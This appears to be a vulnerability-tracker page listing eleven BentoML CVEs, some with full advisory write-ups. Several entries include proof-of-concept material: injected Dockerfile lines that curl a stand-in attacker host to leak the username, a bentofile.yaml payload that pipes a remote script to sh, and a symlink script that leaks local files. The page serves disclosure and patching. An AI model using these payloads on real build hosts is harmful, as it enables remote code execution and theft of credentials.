VYPR
Get started
← All vendors
Vendor

Bentoml

Sign in to watch
Products
1
CVEs
11
Across products
11
Status
Private

Products

1

Recent CVEs

11
CVESevRiskCVSSEPSSKEVPublishedDescription
CVE-2026-35044Hig0.578.80.00Apr 6, 2026BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.38, the Dockerfile generation function generate_containerfile() in src/bentoml/_internal/container/generate.py uses an unsandboxed jinja2.Environment with the jinja2.ext.do extension to render user-provided dockerfile_template files. When a victim imports a malicious bento archive and runs bentoml containerize, attacker-controlled Jinja2 template code executes arbitrary Python directly on the host machine, bypassing all container isolation. This vulnerability is fixed in 1.4.38.
CVE-2026-35043Hig0.517.80.00Apr 6, 2026BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.38, the cloud deployment path in src/bentoml/_internal/cloud/deployment.py was not included in the fix for CVE-2026-33744. Line 1648 interpolates system_packages directly into a shell command using an f-string without any quoting. The generated script is uploaded to BentoCloud as setup.sh and executed on the cloud build infrastructure during deployment, making this a remote code execution on the CI/CD tier. This vulnerability is fixed in 1.4.38.
CVE-2026-33744Hig0.517.80.00Mar 27, 2026BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.37, the `docker.system_packages` field in `bentofile.yaml` accepts arbitrary strings that are interpolated directly into Dockerfile `RUN` commands without sanitization. Since `system_packages` is semantically a list of OS package names (data), users do not expect values to be interpreted as shell commands. A malicious `bentofile.yaml` achieves arbitrary command execution during `bentoml containerize` / `docker build`. Version 1.4.37 fixes the issue.
CVE-2026-44346hig0.45——May 11, 2026# BentoML `envs[*].name` Dockerfile command injection — sibling of CVE-2026-33744 / CVE-2026-35043 A malicious `bentofile.yaml` containing a newline-injected value in `envs[*].name` produces unquoted `RUN` directives in the BentoML-generated Dockerfile. When the victim runs `bentoml containerize` on the imported bento, those `RUN` directives execute on the host during `docker build`. Verified end-to-end on `bentoml==1.4.38`. ## Vulnerable code `src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:71-73`: ```jinja {% for env in __bento_envs__ %} {% set stage = env.stage | default("all") -%} {% if stage != "runtime" -%} ARG {{ env.name }}{% if env.value %}={{ env.value | bash_quote }}{% endif %} ENV {{ env.name }}=${{ env.name }} {% endif -%} {% endfor %} ``` `env.value` is bash-quoted via the `bash_quote` filter, but **`env.name` is interpolated raw** with no escaping or newline filtering. The template is rendered by `_bentoml_impl/docker.generate_dockerfile` (the v2 SDK Docker generation path used by `bentoml containerize` for modern services). ## Sibling relationship to existing CVEs The earlier patches addressed the same Dockerfile-command-injection class for a different bentofile field: - **CVE-2026-33744 / GHSA-jfjg-vc52-wqvf** (2026-03-25): added `bash_quote` to `system_packages` interpolation in Dockerfile templates and `images.py`. - **CVE-2026-35043 / GHSA-fgv4-6jr3-jgfw** (2026-04-02): added `shlex.quote` to `system_packages` in the cloud deployment path (`_internal/cloud/deployment.py:1648`). Both patches limit themselves to `system_packages`. The `envs[*].name` field is the same root-cause class (`bentofile.yaml` value flowing unquoted into a Dockerfile interpretation context) but was never included in the fix scope. ## Reproduction ```bash pip install bentoml==1.4.38 python verify_render.py ``` Expected: ``` [*] rendered Dockerfile size: 1789 bytes [*] injected RUN lines: 3 RUN curl -fsSL http://attacker.example.com/$(whoami)=1 RUN curl -fsSL http://attacker.example.com/$(whoami)=$FOO RUN curl -fsSL http://attacker.example.com/$(whoami) ``` Each injected `RUN` line is a Dockerfile command that runs during `docker build`. With `$(whoami)` shell-substituted by Docker's RUN executor, the example payload exfiltrates the build host's username. ## Threat model 1. Attacker authors a malicious bento with a crafted `bentofile.yaml`. 2. Attacker exports the bento (`.bento` or `.tar.gz`) and distributes (S3, HTTP, BentoCloud share, etc.). 3. Victim imports with `bentoml import bento.tar`; no validation of `envs` content. 4. Victim runs `bentoml containerize` to build the container image. 5. BentoML renders the Dockerfile with the attacker's `envs` values, producing injected `RUN` lines. 6. `docker build` (or BuildKit) executes the injected `RUN` commands on the build host, achieving RCE in the victim's build environment. The flow mirrors CVE-2026-33744 exactly, with `envs` substituted for `system_packages`. ## Suggested fix In `base_v2.j2` lines 71-73, apply the `bash_quote` filter to `env.name` (and to the `=$VAR` reference in the `ENV` line, since the variable name itself is reused there): ```jinja ARG {{ env.name | bash_quote }}{% if env.value %}={{ env.value | bash_quote }}{% endif %} ENV {{ env.name | bash_quote }}=${{ env.name | bash_quote }} ``` Better, since `env.name` is semantically a Dockerfile identifier, validate at the schema level: in `bentoml/_internal/bento/build_config.py:BentoEnvSchema`, add an `attr.validators.matches_re(r"^[A-Za-z_][A-Za-z0-9_]*$")` to the `name` field so newline / shell-metacharacter values are rejected at config load. ## Affected versions - bentoml 1.4.38 (verified end-to-end) - Likely all 1.x versions where `_bentoml_impl/docker.py` exists; the v2 SDK code path was added before the CVE-2026-33744 / CVE-2026-35043 patches and was not retroactively swept for siblings. ## Disclosure Requesting CVE assignment and GHSA publication. Available for additional repro under different distros / frontends, or for a PR with the suggested fix, on request. ## PoC artifacts Gated HF repo (request access): https://huggingface.co/mrw0r57/bentoml-envs-cmdinjection-poc
CVE-2026-44345hig0.45——May 11, 2026The same Dockerfile template that mishandles `envs[*].name` (pending GHSA-w2pm-x38x-jp44) also interpolates `docker.base_image` raw with no escaping, newline filtering, or validation. A malicious bento.yaml with a multi-line `docker.base_image` value smuggles arbitrary Dockerfile directives into the generated Dockerfile, and `bentoml containerize` then runs `docker build` which executes the injected `RUN` directives on the victim host. ## Vulnerable code `src/bentoml/_internal/container/frontend/dockerfile/templates/base_v2.j2:38` (current main, 2026-04-28): ```jinja FROM {{ __options__base_image }} AS base-container ``` `__options__base_image` resolves to `DockerOptions.base_image` (`src/bentoml/_internal/bento/build_config.py:176`): ```python base_image: t.Optional[str] = None ``` No `validator`, no `converter`, no newline check. The value is loaded straight from `bento.yaml` in `src/bentoml/_internal/container/__init__.py:206` via `DockerOptions(**docker_attrs)` and rendered as-is. ## PoC Malicious `bentofile.yaml`: ```yaml docker: base_image: | python:3.10 RUN curl https://attacker.tld/x.sh | sh FROM scratch ``` Minimal reproduction of the unsafe interpolation: ```python from jinja2 import Environment env = Environment() malicious = 'python:3.10\nRUN curl https://attacker.tld/x.sh | sh\nFROM scratch' out = env.from_string('FROM {{ __options__base_image }} AS base-container').render(__options__base_image=malicious) print(out) ``` Output: ``` FROM python:3.10 RUN curl https://attacker.tld/x.sh | sh FROM scratch AS base-container ``` Three valid Dockerfile directives instead of one. The `RUN curl` executes during `docker build`. The trailing `FROM scratch AS base-container` provides the named build stage the rest of the template depends on, so the build proceeds without error. ## Impact Identical to GHSA-w2pm-x38x-jp44: arbitrary command execution on the victim's host during `bentoml containerize` of an attacker-supplied bento. Threat model is bento sharing (registry, marketplace, supply-chain handoff). The victim expects `docker.base_image` to be a Docker image reference, not a Dockerfile fragment. ## Suggested fix Validate `DockerOptions.base_image` at the config layer: reject any value containing newline characters (`\n`, `\r`) or whitespace beyond a single space-separated tag. A regex like `^[A-Za-z0-9._/-]+(:[A-Za-z0-9._-]+)?(@sha256:[a-f0-9]{64})?$` covers the practical Docker reference format. The same hardening should be extended to other unvalidated fields interpolated raw in `base_v2.j2`: * `__options__build_include[*]` at line 97 (`COPY ... ./src/{{ name }} ./src/{{ name }}`) — same newline-injection class for path entries from `Image.build_include(*file_paths)`. * `bento__user`, `bento__uid_gid`, `bento__path`, `bento__home`, `bento__entrypoint` — currently sourced from server-side defaults but should be defended in depth if they ever become user-overridable through `override_bento_env`. ## References * Pending sibling: GHSA-w2pm-x38x-jp44 (envs[*].name), itself a sibling-fix-bypass of CVE-2026-33744 / CVE-2026-35043. * CWE-78: https://cwe.mitre.org/data/definitions/78.html
CVE-2026-40610med0.26——May 7, 2026### Summary BentoML's `bentoml build` packaging workflow follows attacker-controlled symlinks inside the build context and copies the referenced file contents into the generated Bento artifact. If a victim builds an untrusted repository or other attacker-supplied build context, the attacker can place a symlink such as `loot.txt -> /tmp/outside-marker.txt` or a link to a more sensitive local file. When `bentoml build` runs, BentoML dereferences the symlink and packages the target file contents into the Bento. The leaked file can then propagate further through export, push, or containerization workflows. ### Details The vulnerable code walks files under the build context and copies each matched entry into the Bento source directory: ```python for root, _, files in os.walk(ctx_path): for f in files: dir_path = os.path.relpath(root, ctx_path) path = os.path.join(dir_path, f).replace(os.sep, "/") if specs.includes(path): src_file = ctx_path.joinpath(path) dst_file = target_fs.joinpath(dest_path) shutil.copy(src_file, dst_file) ``` There is no validation that the resolved path of `src_file` remains inside `ctx_path` before `shutil.copy` dereferences the source path. As a result, a repository-controlled symlink can cross the trust boundary from `attacker-controlled repository content` to `developer/CI host filesystem` during the build process. This is a build-time path traversal / symlink traversal issue in the packaging feature, not a runtime API issue. The resulting Bento may later be exported, pushed to remote storage, or converted into a container image, which amplifies the leakage impact. ### PoC The issue was verified in WSL against BentoML 1.4.38. The following script reproduces the vulnerability by using a harmless marker file outside the build directory. ```bash mkdir -p /tmp/bento-symlink-poc cd /tmp/bento-symlink-poc printf 'BENTOML_SYMLINK_POC_123456\n' > /tmp/outside-marker.txt cat > service.py <<'EOF' import bentoml @bentoml.service class Demo: @bentoml.api def ping(self, x: str) -> str: return x EOF cat > bentofile.yaml <<'EOF' service: "service:Demo" include: - "service.py" - "loot.txt" EOF ln -s /tmp/outside-marker.txt loot.txt bentoml build --output tag bentoml export demo:7pilrpjtlomelwct /tmp/poc.zip mkdir -p /tmp/poc-unzip unzip -o /tmp/poc.zip -d /tmp/poc-unzip find /tmp/poc-unzip -name loot.txt -print cat /tmp/poc-unzip/**/src/loot.txt 2>/dev/null || \ find /tmp/poc-unzip -path '*/src/loot.txt' -exec cat {} \; ``` - The script creates `/tmp/outside-marker.txt` outside the build context as a stand-in for a sensitive local file. - It creates a minimal BentoML service and explicitly includes `loot.txt` in `bentofile.yaml`. - It creates `loot.txt` as a symlink to the external marker file. <img width="1531" height="648" alt="image" src="https://github.com/user-attachments/assets/1312dcf0-74b0-4fb6-a05d-b68644470d82" /> - It runs `bentoml build`, exports the generated Bento, unzips it, and reads the packaged `src/loot.txt`. - Successful exploitation is confirmed when the packaged file contains `BENTOML_SYMLINK_POC_123456`, proving that BentoML copied the external file contents rather than keeping only the symlink. <img width="1315" height="121" alt="image" src="https://github.com/user-attachments/assets/6ed34f51-9b68-4fa9-8a42-011deb84d54e" /> <img width="1697" height="760" alt="image" src="https://github.com/user-attachments/assets/9b8a8ae5-4f06-46b4-9e4a-dee25cc5d203" /> ### Impact An attacker who can cause a developer, release engineer, or CI system to run `bentoml build` on an attacker-controlled repository can exfiltrate local files from the build host into the Bento artifact. This can expose secrets such as cloud credentials, SSH keys, API tokens, environment files, or other sensitive local configuration. Because Bento artifacts are commonly exported, uploaded, stored, or containerized after build, the leaked file contents can spread beyond the original build machine.
CVE-2025-275200.09—0.78Apr 4, 2025BentoML is a Python library for building online serving systems optimized for AI apps and model inference. A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the latest version (v1.4.2) of BentoML. It allows any unauthenticated user to execute arbitrary code on the server. It exists an unsafe code segment in serde.py. This vulnerability is fixed in 1.4.3.
CVE-2025-323750.08—0.67Apr 9, 2025BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.8, there was an insecure deserialization in BentoML's runner server. By setting specific headers and parameters in the POST request, it is possible to execute any unauthorized arbitrary code on the server, which will grant the attackers to have the initial access and information disclosure on the server. This vulnerability is fixed in 1.4.8.
CVE-2026-279050.00—0.00Mar 3, 2026BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to 1.4.36, the safe_extract_tarfile() function validates that each tar member's path is within the destination directory, but for symlink members it only validates the symlink's own path, not the symlink's target. An attacker can create a malicious bento/model tar file containing a symlink pointing outside the extraction directory, followed by a regular file that writes through the symlink, achieving arbitrary file write on the host filesystem. This vulnerability is fixed in 1.4.36.
CVE-2026-241230.00—0.00Jan 26, 2026BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Prior to version 1.4.34, BentoML's `bentofile.yaml` configuration allows path traversal attacks through multiple file path fields (`description`, `docker.setup_script`, `docker.dockerfile_template`, `conda.environment_yml`). An attacker can craft a malicious bentofile that, when built by a victim, exfiltrates arbitrary files from the filesystem into the bento archive. This enables supply chain attacks where sensitive files (SSH keys, credentials, environment variables) are silently embedded in bentos and exposed when pushed to registries or deployed. Version 1.4.34 contains a patch for the issue.
CVE-2025-543810.00—0.01Jul 29, 2025BentoML is a Python library for building online serving systems optimized for AI apps and model inference. In versions 1.4.0 until 1.4.19, the file upload processing system contains an SSRF vulnerability that allows unauthenticated remote attackers to force the server to make arbitrary HTTP requests. The vulnerability stems from the multipart form data and JSON request handlers, which automatically download files from user-provided URLs without validating whether those URLs point to internal network addresses, cloud metadata endpoints, or other restricted resources. The documentation explicitly promotes this URL-based file upload feature, making it an intended design that exposes all deployed services to SSRF attacks by default. Version 1.4.19 contains a patch for the issue.